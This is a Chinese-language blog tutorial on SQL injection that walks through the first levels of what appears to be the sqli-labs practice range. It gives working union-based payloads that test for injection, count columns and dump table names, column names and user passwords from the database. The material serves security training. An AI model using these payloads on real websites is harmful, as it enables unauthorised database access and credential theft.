sql注入(字符型和数字型)

1.SQL注入原理

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2.SQL分类

以注入位置分类:

get注入

post注入

cookie注入

以参数类型分类

字符型注入

数字注入

搜素注入

以注入技术分类

错误注入

布尔注入

union注入

时间盲注

ASCII逐字解码:拆办拆解

其他注入:堆叠注入,宽字节注入,二次注入

3.注入的基本流程

1.判断是否存在sql注入漏洞

2.逐步获取数据库的信息

3.得到想要的内容

4.如何判断注入点

1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

2.?id=1' and 1=1--+/#和?id=1' and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入

3.?id=1%' and 1=1--+/#和?id=1%' and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入

这里我们先来看看第二关

1.注入点的判断

?id=1 and 1=1 

sql注入(字符型和数字型)_第1张图片   id=1 and 1=2        

sql注入(字符型和数字型)_第2张图片

 此时我们就可以判断是数字型注入了

2.接下来我们就要知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1 order by 3

sql注入(字符型和数字型)_第3张图片

 3.爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的

?id=-1'union select 1,2,3--+

sql注入(字符型和数字型)_第4张图片

如?id=-1 union select 1,2,3,4 --+    // 这条语句的作用是联合查询第1,2,3,4列, 空格--+的作用是注释后面的内容,负号是为了让前面的联合查询产生错误,从而使用后面的联合查询语句

如?id=1 order by 3  这里的数字可以是任意的,当我们输入的数字报错时,那么就可以证明超出列数,此时应该减小数字直到没有报错。

4.爆表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

sql注入(字符型和数字型)_第5张图片

mysql数据结构

在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。

5.爆列

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

sql注入(字符型和数字型)_第6张图片

6.爆账户密码

?id=-1 union select 1,2,group_concat(username ,id , password) from users

sql注入(字符型和数字型)_第7张图片

?id=1 and 1=1 判断是数字型注入  

?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

第一关和第二关类似,但是第一关是字符型注入,我们需要闭合单引号,此时就需要在1的后面加上一个单引号。这就是数字型注入和字符型注入的区别。但是可以结合,如下

第三关

当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

sql注入(字符型和数字型)_第8张图片

此时就需要在1的后面加上‘)去闭合它

第四关

根据结果显示,可以看出是“)也是需要在1的后面加上”)


 

你可能感兴趣的:(sql,数据库,mysql)